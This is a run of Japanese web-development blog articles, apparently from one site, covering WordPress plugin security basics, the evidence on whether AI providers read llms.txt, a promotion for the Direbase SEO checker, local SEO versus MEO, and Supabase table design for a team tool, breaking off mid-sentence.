'ajaxUrl' => admin_url( 'admin-ajax.php' ), 'nonce' => wp_create_nonce( 'my_plugin_nonce' ), ) ); // サンプル: AJAX処理の冒頭で検証 function my_plugin_ajax_handler() { check_ajax_referer( 'my_plugin_nonce', 'nonce' ); // 以降の処理 } add_action( 'wp_ajax_my_plugin_action', 'my_plugin_ajax_handler' ); ※上記はあくまでサンプルコードです。 2. 権限チェック 管理者のみが診断を実行できるよう、current_user_can( 'manage_options' ) で権限を確認します。権限のないユーザーがリクエストを送った場合はエラーを返します。 3. 入力サニタイズ・出力エスケープ サニタイズとは「入力値を安全な形に整形すること」、エスケープとは「HTMLに出力する前に特殊文字を無害化すること」です。URLは esc_url_raw、HTML出力は esc_html・esc_attr を使います。外部APIが返す値も信頼せず、すべてサニタイズしてからフロントに渡します。 4. uninstall.phpでDBを掃除する プラグイン削除時にデータベースに残ったオプション（APIキーなど）を削除します。uninstall.php を用意することで、アンインストール後にデータが残り続けるのを防ぎます。 5. ABSPATHチェック 全PHPファイルの先頭で defined( 'ABSPATH' ) を確認します。これにより、WordPressを経由せずにPHPファイルを直接URLアクセスされた場合に即座に処理を終了できます。 設計の考え方：プラグインは「入口」に絞る Direbaseにはキーワード調査・競合比較・Core Web Vitals測定など多くの機能があります。しかしプラグインにはSEOスコア診断だけを入れ、他の機能は本体サービスへの導線リンクとして設置しています。 全機能を詰め込まない理由は明確です。管理画面に機能を詰め込むとUXが悪化し、プラグインが重くなり、メンテナンスコストも増えます。プラグインを「入口」にして本体サービスに送客する構造の方が、ユーザーにとっても開発者にとっても合理的です。 ▶ Direbaseの全機能・料金プランはこちら よくある質問 Q. プラグインは無料で使えますか？ GitHubからインストールすれば無料で利用できます。診断にはDirebaseのAPIキー（Freeプランなら登録後に無料取得可能）が必要です。 Q. WordPress公式ディレクトリからインストールできますか？ 現在申請中です。公式ディレクトリへの掲載後は、管理画面の「プラグインを追加」から検索してインストールできるようになります。 Q. 診断結果はどこで詳しく確認できますか？ プラグインでは4カテゴリのスコア概要を確認できます。改善コードの自動生成や競合比較などの詳細機能は、ブラウザ版のDirebaseをご利用ください。 まとめ WordPressの管理画面にSEO診断を組み込むことで、別サービスを開かずにワンクリックで診断できるようになります。プラグインの構成はシンプルで、外部APIを呼んで結果を表示するだけです。 外部API呼び出しには wp_remote_post を使う（cURL直接は非推奨） nonce・権限チェック・サニタイズ・エスケープは最初から実装する プラグインに全機能を詰め込まず「入口」に絞る設計が長持ちする SEOスコアの詳細確認や改善コードの自動生成は、ブラウザ版のDirebaseでお試しください。 ▶ Direbaseを無料で試す ### [AIに自社サイトを正しく認識させる方法｜llms.txtとは何か](https://codequest.work/llms-txt-ai-seo/) llms.txt（エルエルエムエス テキスト）は、AIにサイトの概要と主要ページを伝えるための案内ファイルです。ただし2026年8月時点で、「自社のAIがllms.txtを読んでいる」と公式に表明しているAI提供元は1社もありません。Googleにいたっては、公式ドキュメントで「Google検索は使っていない」「順位にも表示にも影響しない」と明記しています。 この記事は、llms.txtの書き方や設置手順を解説するものではありません。「置けばAIに引用される」という説明がどこまで裏付けられているのかを、各AI提供元の公式ドキュメントと第三者の実測データで確かめ、そのうえで「それでも置く価値があるのはどんなサイトか」を判定します。 実際に書き方・設置方法を知りたい場合は、手順をまとめた llms.txtの書き方と設置手順 を先にご覧ください。この記事はその判断材料を提供する立場です。 結論：llms.txtを読むと表明したAI提供元は、現時点で存在しない 先に結論を3行でまとめます。以降の章は、この3行それぞれの根拠を一次ソースで示すものです。 論点2026年8月時点での事実AIは読んでいるのかGoogle・OpenAI・Anthropic・Perplexityのいずれも、自社クローラーがllms.txtを読むとは公開ドキュメントに書いていない。Googleは明示的に「使っていない」と否定実際にアクセスは来ているのか137,210ドメインを対象とした実測調査で、llms.txtファイルの97%が調査期間中に1件もリクエストを受けていないでは無意味なのかAI検索の引用対策としては裏付けがない。ただし開発者向けAIエージェントが取りに来るケースは実測で確認されており、用途を限定すれば意味はある なぜ「llms.txtは効く」という説明が広まったのか llms.txtは2024年9月、開発者のJeremy Howard氏によって提案された仕様です。提案文書そのものは、AI検索での露出を約束していません。それどころか仕様書には、次のように書かれています。 This proposal does not include any particular recommendation for how to process the llms.txt file, since it will depend on the application.（この提案は、llms.txtファイルをどう処理するかについて特定の推奨を含まない。用途によって異なるためである） 出典：llmstxt.org — The /llms.txt file つまり提案元自身が「読み方は決めていない」と明言している仕様です。「置けばAIが読む」という前提は、提案の中身ではなく、提案を紹介する側の解釈として後から付け足されたものだと考えるのが正確です。 加えて、robots.txtやsitemap.xmlという「置くだけで検索エンジンが読んでくれるファイル」の成功体験がWeb運営者側にあります。名前も置き場所も似ているため、同じように機能するはずだという類推が働きやすい。この類推が正しいかどうかを、次章から実際の公式ドキュメントで確かめます。 主要AI提供元4社の公式スタンス（一次ソース付き） AI検索の主要プレイヤー4社が、自社のクローラーについて何を公開しているかを確認します。判定の基準はシンプルで、「公式ドキュメントにllms.txtの記載があるか」「サイト側の制御手段として何を案内しているか」の2点です。 提供元llms.txtへの言及公式に案内している制御手段Googleあり（「使っていない」と明示的に否定）robots.txt／Google-ExtendedOpenAIクローラー仕様の中には記載なしrobots.txt（GPTBot / OAI-SearchBot 等を個別指定）Anthropicクローラー説明ページに記載なし（0箇所）robots.txt（ClaudeBot / Claude-User / Claude-SearchBot）＋Crawl-delayPerplexityクローラー仕様の中には記載なしrobots.txt／IPレンジ照合／WAFルール Google — 公式ドキュメントで明確に否定している 4社のうち唯一、Googleだけがllms.txtについて公式に見解を出しています。生成AI機能向けの最適化ガイドの中に、次の記述があります。 You don't need to create new machine readable files, AI text files, markup, or Markdown to appear in Google Search (including its generative AI capabilities), as Google Search itself doesn't use them.（Google検索に表示されるために、機械可読ファイルやAI向けテキストファイル、マークアップ、Markdownを新たに作る必要はない。Google検索自身がそれらを使っていないからだ） 出典：Google Search Central「Optimizing your website for generative AI features on Google Search」 同じページの注記では、設置そのものは禁止していないという書き方で、効果を否定しています。 It's completely fine if you decide to create and maintain LLMS.txt files (or other similar files) for other services or systems that use these files. Doing so will neither harm nor help your site's visibility or rankings in Google Search, as Google Search ignores them.（これらのファイルを使う他のサービスやシステムのために、llms.txtを作って維持するのはまったく問題ない。ただしそれによってGoogle検索での表示や順位が上がることも下がることもない。Google検索は無視するからだ） 出典：同上（この記述は Google Search Central 更新履歴 の2026年6月15日「llms.txtの扱いに関するガイダンスを明確化」で追加されたもの） さらに同ガイドは、優先すべき施策のセクションで「AEO/GEOハックより効果的なSEO施策を優先せよ」と述べ、その例として「不要なAI向けテキストファイル（llms.txtなど）を作ること」を名指しで挙げています。Google側の立場に解釈の余地はほとんどありません。 この見解は突然出てきたものではありません。GoogleのJohn Mueller氏は2025年6月17日、Bluesky上で「FWIW no AI system currently uses llms.txt.（参考までに、現時点でllms.txtを使っているAIシステムは1つもない）」と投稿しています。1年後の公式ドキュメント更新は、この発言を正式なガイダンスに格上げしたものと読めます。 出典：John Mueller氏のBluesky投稿（2025年6月17日）／報道は Search Engine Roundtable「Google: No AI System Currently Uses LLMs.txt」。 OpenAI — 案内しているのはrobots.txtだけ OpenAIはクローラーの公式仕様ページで、GPTBot（モデル学習用）、OAI-SearchBot（ChatGPT検索の結果表示用）、ChatGPT-User（ユーザー操作による取得）、OAI-AdsBot（広告リンク先の検証用）の4種類を公開しています。 サイト側がこれらを制御する手段として案内されているのはrobots.txtのみです。同ページには「ChatGPTの検索結果に表示されるようにするには、robots.txtでOAI-SearchBotを許可することを推奨する」という趣旨の記述があり、llms.txtを置けという案内はありません。「AIに読ませるファイル」として公式に指定されているのは、あくまでrobots.txtです。 出典：OpenAI Developers「Bots」（2026年8月1日確認） Anthropic — クローラー説明にllms.txtは1度も出てこない Claudeを開発するAnthropicは、ClaudeBot（学習用）、Claude-User（ユーザーの質問に応じた取得）、Claude-SearchBot（検索インデックス用）の3種類を公開しています。制御手段として案内されているのはrobots.txtと、非標準拡張であるCrawl-delayです。 このページ全文にllms.txtという文字列は1度も出てきません（2026年8月1日時点で確認）。「Anthropicが対応している」という説明を見かけたら、その根拠がどこにあるのかを確かめる価値があります。 出典：Anthropic Support「Does Anthropic crawl data from the web, and how can site owners block the crawler?」 Perplexity — robots.txtとIPレンジでの制御を案内 Perplexityが公開しているのはPerplexityBot（検索結果への掲載用）とPerplexity-User（ユーザーの質問に応じた取得）の2種類です。制御手段はrobots.txt、公開IPレンジによるホワイトリスト、CloudflareやAWS WAFでのルール設定の3つが案内されています。ここにもllms.txtは登場しません。 出典：Perplexity Docs「Perplexity Crawlers」 紛らわしい事実：AI各社は自社ドキュメントにllms.txtを置いている 「AI企業自身が設置しているのだから効くはずだ」という論法をよく見かけます。ここは事実関係を正確に切り分ける必要があります。2026年8月1日時点で実際にアクセスして確認した結果は次のとおりです。 URL結果種別platform.claude.com/llms.txt200（docs.anthropic.com からリダイレクト）開発者向けドキュメントサイトdevelopers.openai.com/llms.txt200開発者向けドキュメントサイトdocs.perplexity.ai/llms.txt200開発者向けドキュメントサイトwww.anthropic.com/llms.txt404コーポレートサイト本体developers.google.com/llms.txt404開発者向けドキュメントサイト 設置されているのは開発者向けドキュメントサイトであって、企業のコーポレートサイト本体ではありません。Anthropicの本体ドメインは404を返します。そして各社のllms.txtの中身は「ドキュメントの目次」です。目的は「自社APIを使う開発者のAIエージェントに、公式ドキュメントを正しく読ませる」ことであり、「自社の存在をAI検索に認識させる」ことではありません。 つまり「AI企業が設置している」は事実ですが、それが指し示しているのはドキュメント配信の用途であって、企業サイトのAI検索対策としての有効性ではありません。この区別が、次章以降の判断の分かれ目になります。 ### [SEOスコアを無料でチェック｜構造化データ診断・改善コード生成・競合KW分析まで完結](https://codequest.work/seo-score-checker-free/) SEOスコアとは、検索順位に影響する構造化データ・メタタグ・見出し構造・ページ速度などの45項目を100点満点で数値化したサイト診断指標です。SEOスコアチェックを行うことで、改善すべきポイントの優先順位が一目で分かり、何から手をつければよいか迷わずに対策を進められます。本記事では、無料で使えるSEOスコアチェックツール「Direbase（ディレベース）」の使い方と、スコア帯別の改善アクションを解説します。 無料プランでSEOスコアをチェックする → Direbaseは、URLを入力するだけで構造化データ・メタタグ・見出し構造・Core Web Vitalsなど45項目以上を100点満点で自動診断します。問題の指摘だけでなく、修正用のHTML・JSON-LDコードを自動生成するため、診断から改善まで1つのツールで完結します。 登録不要で月3回まで無料。競合サイトのランクインキーワード調査にも対応しています。 前提｜SEOスコアはGoogleの公式指標ではない ツールを使う前に、ここだけは押さえてください。GoogleはSEOスコアという点数を公表していません。各ツールが表示する数値は、それぞれが独自の基準で採点した結果です。 ツールごとにスコアが違うのは正常 同じページを複数のツールで診断すると、スコアがバラバラになります。これはどのツールが正しいかという話ではなく、何を重視して採点しているかが違うだけです。ページ速度を重く見るツールなら速度が遅いサイトは低く出ますし、構造化データを重視するツールなら未実装のサイトが低く出ます。 したがって複数ツールのスコアを比べても意味がありません。1つのツールを決めて、同じ基準で自サイトの推移を追うほうが実用的です。 スコアと検索順位はイコールではない スコアが100点でも上位表示されるとは限りません。順位を決めるのは検索意図との一致・コンテンツの質・被リンクなど多数の要素であり、スコアが測っているのはそのうち「機械的に判定できる技術的な土台」の部分だけです。 正しい使い方は、「スコアを上げる」ではなく「減点されている項目を潰す」と捉えることです。減点項目は具体的な欠陥（構造化データ未実装、メタタグ欠落など）を指しているので、直せば確実に土台が整います。順位が動くかどうかは別問題として切り分けてください。 SEOスコアチェックとは：診断できる4つのカテゴリ Direbaseは、Webページを4つのカテゴリ・45項目以上で診断し、100点満点のスコアで評価します。最大の特徴は構造化データに40点を配分している点です。リッチリザルト獲得に直結するJSON-LD・Schema.orgの実装状況を重点的にチェックします。 カテゴリ配点主なチェック項目構造化データ40点JSON-LD検出、Schema.orgタイプ、必須プロパティの過不足基本SEO30点タイトルタグ、メタディスクリプション、見出し構造、canonicalコンテンツ品質20点文字数、画像alt属性、内部リンク数技術的SEO10点HTTPS対応、モバイル対応、ページ速度 この配点バランスは他のSEOツールにはない特徴です。多くのツールはメタタグやページ速度に偏りがちですが、Direbaseは検索結果でのリッチリザルト表示に直結する構造化データを最重要項目として評価します。 Direbaseの使い方：3ステップで診断から改善まで アカウント登録なしで、すぐに診断を始められます。 ステップ1：URLを入力して診断開始 seo.codequest.workにアクセスし、診断したいページのURLを貼り付けて「チェック開始」をクリックします。登録不要で月3回まで無料です。 ステップ2：スコアと問題点を確認 総合スコア（100点満点）とドメインパワー（0〜10スケール＋ドメイン年齢）が表示されます。カテゴリごとの内訳で、どの分野に課題があるかが一目でわかります。 ステップ3：改善コードをコピペして修正 診断結果に基づいてJSON-LD・metaタグ・OGP・llms.txtの改善コードが自動生成されます。無料プランでも優先度が最も高い1項目のコードを取得でき、エントリーで上位2項目、ベーシック以上で全項目が解放されます。コピー＆ペーストで実装できるため、SEOの専門知識がなくても修正が可能です。 スコア帯別：次にやるべき改善アクション 60点未満：構造化データとメタタグを最優先で修正 60点未満の場合、JSON-LDの未実装またはメタタグの設定漏れが主な原因です。Direbaseの改善コード生成機能を活用すれば、構造化データとメタタグの問題を一括で修正できます。この段階では、コンテンツよりも技術的な土台を整えることが最優先です。 60〜79点：コンテンツの質を底上げする 技術面はある程度整っている状態です。文字数の不足、画像alt属性の欠落、内部リンクの不足といったコンテンツ品質の課題に取り組みましょう。見出し構造（h2→h3の階層）が論理的かどうかも確認してください。 80点以上：競合比較で差別化ポイントを見つける 高スコアのサイトは基本対策が完了しています。次のステップとして、Direbaseの競合比較機能（最大6サイト同時比較）で競合との差分を分析しましょう。Schema.orgの実装タイプや競合のランクインキーワードから、新たなコンテンツ戦略を立てられます。 Direbaseが他のツールと違う5つのポイント 登録不要・日本語完全対応で即チェック アカウント登録なしでURLを入力するだけ。UI・診断結果・改善アドバイス・改善コードのコメントまで、すべて日本語に対応しています。海外ツールのように英語の診断結果を翻訳する手間がありません。 構造化データ診断が最大配点（40/100点） JSON-LD・Schema.orgの実装状況を詳細に解析します。100点中40点を構造化データに配分しているSEOツールは他にありません。Googleのリッチリザルト表示に直結する項目を重点チェックできます。 改善コード自動生成（JSON-LD・meta・OGP・llms.txt） 多くのSEOツールは問題の指摘で終わりますが、Direbaseは修正用のコードまで自動生成します。JSON-LD構造化データ、metaタグ、OGPタグ、llms.txtの4種類に対応。コピー＆ペーストで実装できるため、コーディングの知識がなくても改善を進められます。 ※llms.txtについて：2026年8月時点で、llms.txtを読んでいると公式に表明したAI提供元はありません。Direbaseが診断対象に含めているのは設置状況を可視化するためで、順位や引用が増える効果を保証するものではありません。判断材料はAIに自社サイトを正しく認識させる方法｜llms.txtとは何かにまとめています。優先すべきはJSON-LD・metaタグ・OGPの3つです。 ドメインパワー＋SEOスコアを同時表示 1回の診断でSEOスコア（100点満点）とドメインパワー（0〜10スケール＋ドメイン年齢）を同時に確認できます。他のツールでは別々にチェックが必要な情報を一画面で把握可能です。 個人開発ならではの迅速な機能追加 Direbaseは日本人エンジニアによる個人開発ツールです。ユーザーからの要望に対して迅速に機能追加・改善を行えるのが強みです。大手ツールでは対応に数ヶ月かかるような要望も、短期間で実装されます。 競合サイトのランクインキーワードを分析する方法 Direbaseのベーシックプラン以上では、競合サイトがどのキーワードで検索上位に表示されているかを調査できます。AhrefsやSemrushのような高額ツールを使わなくても、競合のキーワード戦略を把握できる機能です。 取得できるデータ 競合ドメインを入力すると、以下のデータを一覧で取得できます。 ランクインキーワード一覧：競合サイトが検索結果に表示されているキーワード 検索順位：各キーワードでの現在の掲載順位 推定月間検索ボリューム：キーワードごとの月間検索回数の目安 対象ページURL：そのキーワードでランクインしているページのURL 競合KW分析の活用例 競合キーワードデータは、以下のようなSEO戦略に活用できます。 コンテンツギャップの発見：競合がランクインしているのに自サイトにコンテンツがないキーワードを特定します。そのキーワードで新規記事を作成すれば、競合からトラフィックを獲得するチャンスが生まれます。 リライト優先度の判断：競合と同じキーワードで自サイトが下位に表示されている場合、そのキーワードの記事をリライトする優先度が高いと判断できます。 キーワード戦略の立案：競合の検索ボリュームが大きいキーワード群を把握することで、自サイトのコンテンツ計画に反映できます。検索ボリュームと競合の順位を比較し、勝てる見込みのあるキーワードから優先的に対策を進められます。 利用条件 プラン競合比較お試し（無料）利用不可エントリー（¥980/月）利用不可ベーシック（¥2,980/月）同時3サイトまでプロ（¥9,800/月）同時6サイトまで 他のSEOツールとの比較 Direbaseと主要なSEOツールの機能を比較しました。Direbaseの最大の強みは「診断から改善コード生成まで完結する」点です。 ツール月額改善コード生成構造化データ診断競合KW調査強みDirebase¥0〜9,800○（無料プランは上位1項目／ベーシック以上で全項目）○（40/100点）○（ベーシック以上）診断→改善コードのワンストップAhrefs$99〜499××○被リンク分析・順位追跡Semrush$119〜449××○広告分析・キーワード網羅性Lighthouse無料×××パフォーマンス詳細計測ラッコキーワード¥0〜×××キーワード調査・関連語抽出 AhrefsやSemrushは被リンク分析やキーワード調査に優れていますが、診断後の改善コードは生成されません。問題の発見は得意でも「どう修正するか」は自分で調べる必要があります。Direbaseは問題の指摘と修正コードの提示をセットで行うため、特にSEO初心者やリソースの限られた個人・中小企業にとって実用的です。 Google Search Consoleとの使い分けも重要です。Search Consoleはインデックス状況や実際の検索パフォーマンスを確認するツールで、Direbaseはページ単位のリアルタイム構造診断と改善コードの生成に強みがあります。両方を併用することで「問題発見→修正→効果測定」のサイクルを効率化できます。 料金プランと選び方 プラン月額チェック回数SEOスコア主な機能お試し¥0月3回83点満点サジェスト5回/日、技術SEO3項目、Core Web Vitalsエントリー¥980月30回92点満点サジェスト500回/月、サイト全体診断10P、検索ボリュームベーシック¥2,980月100回94点満点改善コード生成、サジェスト1,000回/月、技術SEO5項目、競合比較3サイトプロ¥9,800月300回100点満点見出し・共起語無制限、サジェスト3,000回/月、技術SEO9項目、競合比較6サイトエンタープライズお見積もり—100点満点プロの全機能＋SEO戦略立案・コンテンツ企画・月次レポート エントリー〜プロプランは初回3ヶ月50%OFFで利用できます。料金の詳細は料金プランページをご確認ください。 まずは無料プランで試す：登録不要で月3回の診断が可能です。自サイトのSEOスコアを確認し、どのカテゴリに課題があるかを把握しましょう。 改善コードを全項目使うならベーシック：改善コード生成は無料プランでも上位1項目、エントリーで上位2項目まで使えます。全項目を解放できるのはベーシック以上なので、構造化データの実装を本格的に進めたい場合はベーシックプランが目安です。 ### [ローカルSEOとMEOの違いとは？Webサイト側で必要な5つの対策を解説](https://codequest.work/local-seo-meo-difference/) ローカルSEOとMEOの違いは、効く場所が違うことです。MEOはGoogleビジネスプロフィール（GBP）を整えて、Googleマップとローカルパックでの露出を狙う施策。ローカルSEOはWebサイト側を整えて、通常のオーガニック検索結果での露出を狙う施策です。同じ「地域名＋業種」の検索でも、着地する場所が違います。 この2つが混同されやすいのには理由があります。GBPの設定は管理画面から直感的に操作でき、やった実感が残ります。一方でWebサイト側の対策は構造化データやHTMLの知識が必要で、制作者でないと気づきにくい項目が多い。結果として「GBPは整っているのにWebサイト側はほぼ未対策」という状態は、制作の現場では珍しくありません。 ただし、この記事は「Webサイト側もやればローカル検索で上位に出る」とは言いません。むしろ逆で、Webサイト側の5つの対策のうち、Googleがローカルパックの順位要因として文書化しているものは1つもありません。では何に効くのか。それを一次ソースと突き合わせて仕分けし、さらに「設定できたかを自分で確かめる合否ライン」まで示します。Web制作者・フリーランスが地域ビジネスのサイトを納品する前に開くことを想定した内容です。 ローカルSEOとMEOの違い — 効く検索面で分ける まず用語を整理します。よく「対象が違う」とだけ説明されますが、実務で効いてくるのはどの検索面に出るための施策なのかという切り口です。 MEOローカルSEO正式名称Map Engine OptimizationLocal Search Engine Optimization主な対象Googleビジネスプロフィール（GBP）Webサイト全体主な施策ビジネス情報の充実・クチコミへの返信・写真や商品の追加構造化データ・地域名を含むタイトル・電話や住所の導線整備効く検索面Googleマップ／ローカルパック通常のオーガニック検索結果Googleが公表している順位要因関連性・距離・知名度の3つ（ヘルプに明記）通常のWeb検索と同じ。ローカル固有の公表要因は無い ローカルパックとは、「渋谷 歯科医院」のようなキーワードで検索したときに、検索結果の上部にGoogleマップと店舗情報がまとめて表示されるエリアのことです。表示件数は多くの場合3件ですが、Googleが件数を仕様として公開しているわけではないため、観測ベースの目安として扱ってください。MEOはこのローカルパックとマップ検索への露出を高める施策です。 ローカルパックの順位について、Googleビジネスプロフィール ヘルプは3つの要素を挙げています。原文は "Local results are mainly based on relevance, distance, and popularity."（ローカル検索結果は、主に関連性・距離・知名度に基づいて表示される）で、以下のように定義されています。 要素Googleの定義（要旨）Webサイト側で動かせるか関連性（Relevance）ビジネスプロフィールが検索語句とどれだけ合致するかいいえ（照合対象はGBPの情報）距離（Distance）検索しているユーザーから各拠点までの距離いいえ知名度（Prominence）ビジネスがどれだけ広く知られているか。そのビジネスにリンクしているウェブサイトの数やクチコミの数などにも基づく限定的（他サイトからの被リンクの話で、自サイト内の実装ではない） ここで押さえておきたいのが関連性の定義です。原文は "Relevance is how well a Business Profile matches what someone is searching for." で、照合されるのはビジネスプロフィールであって、Webサイトの <title> ではありません。この一行が、次のセクションの土台になります。（出典: Google ビジネス プロフィール ヘルプ「Tips to improve your local ranking on Google」／2026-08-02取得） なお本記事の引用はすべて英語版を正としています。同ヘルプの日本語版には「このページには、AI 技術を使用して翻訳されたコンテンツが含まれている場合があります」という注記があり、訳文だけを根拠にすると解釈がぶれるためです。 そもそも自分の案件でMEOに時間を使うべきかどうかは、業態によって答えが変わります。その判断軸は MEOが効くケース・効かないケース の側で整理しています。 Webサイト側の5つの対策は「ローカルパックの順位」には効かない 「ローカルSEOとMEOは別物」と書いておきながら、Webサイト側の施策を「ローカル検索での露出に直結します」と説明している記事は少なくありません。これは自分で書いた区別を自分で壊している状態です。ここで一度、Googleが言っていることと言っていないことを並べて確認します。 施策よく言われる効果Google公式の記述実際に効く先LocalBusiness構造化データローカル検索の順位が上がるローカルパックの順位要因としての記述は無い。構造化データは「リッチリザルトの対象になるための要件」として説明されている検索結果での見え方（リッチリザルト）と情報の機械可読性tel:リンク化ローカルSEOに有利記述は無い（HTMLの仕様の話）スマートフォンからの発信導線住所のテキスト記載Googleに所在地を認識させる順位の記述は無い。ただし構造化データのガイドラインが「読者に見えない内容をマークアップするな」と定めている構造化データを規約に適合させることGoogleマップの埋め込み所在地情報の補強シグナルになる記述は無い。関連性・距離・知名度のいずれの説明にも該当しないユーザーの来店・問い合わせ導線地域キーワードの配置ローカル検索での露出に直結するSEOスターターガイドが、タイトルに「ビジネスの物理的な所在地」を含めてよいと例示している通常のオーガニック検索結果（ローカルパックではない） 知名度（Prominence）の説明でウェブサイトに触れている箇所は1つだけで、原文は "This factor's also based on info like how many websites link to your business and how many reviews you have." です。他サイトからの被リンクの数の話であって、自分のサイトの中で何を実装するかの話ではありません。自サイトに地図を埋めても、この説明のどこにも当てはまりません。 では5つの対策は無駄なのか。そうではありません。効く先が違うだけです。地域ビジネスを探すユーザーは、ローカルパックをタップする人と、その下のオーガニック結果を読み込む人に分かれます。後者を取りに行くのがローカルSEOで、GBPをいくら磨いてもそこは埋まりません。加えて構造化データと住所のテキスト記載は、順位以前に「Googleの規約に適合しているか」の問題です。ここを外すとマークアップそのものが無効になり得ます。 ちなみにLocalBusinessの構造化データ自体は現役です。GoogleはFAQなど一部のリッチリザルトを廃止してきましたが、構造化データ機能の一覧（Structured data markup that Google Search supports／最終更新 2026-06-15 UTC・2026-08-02取得）には Local business が掲載され続けています。 Webサイト側で押さえるべき5つの対策 ここからは実装です。各項目の冒頭に効く先と根拠を置いてあるので、クライアントに説明するときはそのまま使えます。 1. LocalBusiness構造化データの設置 効く先: 検索結果での見え方（リッチリザルト対象になること）。根拠: Google「Local business (LocalBusiness) structured data」。 構造化データとは、ページの情報を検索エンジンが機械的に読める形で記述したものです。地域ビジネスのサイトでは LocalBusiness タイプを使います。WordPressのSEOプラグインを入れていても既定値が Organization のままになっていることが多く、そこで止まっているサイトは珍しくありません。 ここで多くの解説記事が間違えているのが「必須プロパティ」です。Googleが必須（Required）としているのは name と address の2つだけで、url と telephone は推奨（Recommended）です。 プロパティ内容Googleの区分name店舗・事業者名必須address所在地。PostalAddress オブジェクトで書く必須telephone顧客の主な連絡先となる電話番号。国番号と市外局番を含める推奨urlその拠点のページURL。実際に開けるリンクであること推奨geo緯度・経度。小数点以下5桁以上の精度が必要推奨openingHoursSpecification営業時間。opens / closes / dayOfWeek などで指定する推奨priceRange価格帯。100文字以上だとGoogleは表示しない推奨aggregateRating / review他社のローカルビジネスのクチコミを扱うサイト向け。自社サイトに自社の評価を書く用途ではない推奨（条件付き） 必須が2つだけというのは最小構成でもリッチリザルトの対象になり得るという意味であって、2つで十分という意味ではありません。Googleは address について "Include as many properties as possible. The more properties you provide, the higher quality the result is to users."（できるだけ多くのプロパティを含めること。多いほどユーザーにとって結果の品質が上がる）と書いています。streetAddress / addressLocality / addressRegion / postalCode / addressCountry はひととおり埋めてください。 営業時間のプロパティ名も間違えやすい箇所です。schema.orgにはテキスト形式の openingHours も定義されていますが、Googleがサポートプロパティとして挙げているのは openingHoursSpecification のほうです。既存サイトの引き継ぎで openingHours を見つけたら、書き換え候補としてメモしておいてください。 もう1つ、LocalBusiness は Organization のサブタイプです。Googleは "Since LocalBusiness is a subtype of Organization, we recommend following the fields for Organization in addition to the fields required and recommended below." と明記しています。つまり logo や sameAs は LocalBusiness の表には出てきませんが、Organization 経由の推奨項目として妥当です。ただし Organization には必須プロパティが1つもなく、すべて推奨である点は押さえておいてください。sameAs にSNSやGBPのURLを並べる意味については SNSとHPのリンクがGoogleに効く理由 で詳しく扱っています。 ### [チームツールのDB設計パターン【未読管理・通知・権限をSupabaseで実装】](https://codequest.work/team-tool-db-design-supabase/) チームツールのDB設計とは、「未読管理」「通知」「権限」の3領域を、テーブル構造とアクセス制御ポリシーの両方で同時に設計することです。特にSupabase（PostgreSQL）では、テーブルを作っただけでは公開APIから誰でも読み書きできる状態のままであり、全テーブルでRLS（行レベルセキュリティ）を有効化して初めて権限設計が成立します。 チームで使うコミュニケーションツールを自作しようとすると、機能の実装より先にデータベース設計で詰まることが多いです。テーブルを並べるところまでは書けても、「誰がどの行を読めるのか」を決めきれずに走り出してしまい、後から作り直すことになりがちです。 この記事では、Next.js + Supabase でチームボードを構築する前提で、テーブル定義・RLSポリシー・検証手順までをひと続きで解説します。掲載しているSQLはPostgreSQL 16.14（Docker公式イメージ）で上から順に実行し、エラー0で通ることを確認済みです。権限の穴が実際にふさがるかどうかも、同じ環境で再現テストして確かめています。 チームツールに必要なテーブルと依存順 チームツールに必要なテーブルを整理すると、4つのグループに分けられます。 グループテーブル役割コアaccountsユーザーアカウント。権限（role）もここに持つコアchannelsチャンネル・DMコアchannel_members「誰がどのチャンネルに参加しているか」。権限判定の土台メッセージmessagesメッセージ本体メッセージreactionsリアクション（絵文字）未読・通知read_messages既読管理未読・通知notifications通知未読・通知notification_settings通知設定その他bookmarksブックマークその他online_statusオンラインステータス 10テーブル構成です。この記事で定義を示すのは、未読・通知・権限に直接関わる7つ（accounts / channels / channel_members / messages / read_messages / notifications / notification_settings）です。残りの3つは「所有者のIDと対象のIDを持つだけ」の素直な構造なので、同じ考え方をそのまま当てはめられます。 channel_members を最初に置く理由 チームツールの設計で最初に決めるべきなのは、メッセージの形ではなく「参加者の表」です。チャンネル参加者テーブルが無いと、「このユーザーはこのチャンネルを見てよいのか」を判定する根拠がどこにも無くなります。その結果、未読数は参加していないチャンネルまで数えてしまい、権限ポリシーも書きようがなくなります。 channel_members は行数こそ地味ですが、このあと出てくる未読数クエリとRLSポリシーの両方が参照する中心的なテーブルです。 コアの4テーブルを依存順に作る 外部キーは「参照される側のテーブルが先に存在していること」を要求します。したがって作成順は accounts → channels → channel_members → messages の一択です。この順序を崩すと ERROR: relation "accounts" does not exist で止まります。 -- コアの4テーブル。依存順（親 → 子）に作る CREATE TABLE accounts ( id UUID PRIMARY KEY DEFAULT gen_random_uuid(), email TEXT NOT NULL UNIQUE, name TEXT NOT NULL, role TEXT NOT NULL DEFAULT 'member' CHECK (role IN ('admin', 'member')), created_at TIMESTAMPTZ NOT NULL DEFAULT now() ); CREATE TABLE channels ( id UUID PRIMARY KEY DEFAULT gen_random_uuid(), name TEXT NOT NULL, type TEXT NOT NULL DEFAULT 'channel' CHECK (type IN ('channel', 'dm')), created_by UUID REFERENCES accounts(id) ON DELETE SET NULL, is_archived BOOLEAN NOT NULL DEFAULT false, created_at TIMESTAMPTZ NOT NULL DEFAULT now() ); CREATE TABLE channel_members ( channel_id UUID NOT NULL REFERENCES channels(id) ON DELETE CASCADE, account_id UUID NOT NULL REFERENCES accounts(id) ON DELETE CASCADE, joined_at TIMESTAMPTZ NOT NULL DEFAULT now(), PRIMARY KEY (channel_id, account_id) ); CREATE TABLE messages ( id UUID PRIMARY KEY DEFAULT gen_random_uuid(), channel_id UUID NOT NULL REFERENCES channels(id) ON DELETE CASCADE, account_id UUID NOT NULL REFERENCES accounts(id) ON DELETE CASCADE, body TEXT NOT NULL, deleted_at TIMESTAMPTZ, created_at TIMESTAMPTZ NOT NULL DEFAULT now() ); created_by だけ ON DELETE SET NULL にしているのは、チャンネル作成者が退職してもチャンネル自体は残したいためです。逆に channel_id や account_id は ON DELETE CASCADE で、親が消えたら子も消えるようにしています。削除時の挙動をFK側で宣言しておかないと、あとでアカウント1件を消すだけでも外部キー違反で止まります。この落とし穴は後述の「削除方針」で詳しく扱います。データベースとAPIの役割分担そのものを整理したい場合はバックエンドとは？サーバー・DB・APIの全体像もあわせてどうぞ。 未読管理の設計パターン 未読管理はチームツールの中で最も設計が難しい領域です。「誰が・どのメッセージを・読んだか」を記録し、そこから「まだ読んでいない件数」を逆算する必要があります。 既読レコードを積み上げる方式 メッセージが読まれるたびに「アカウント × 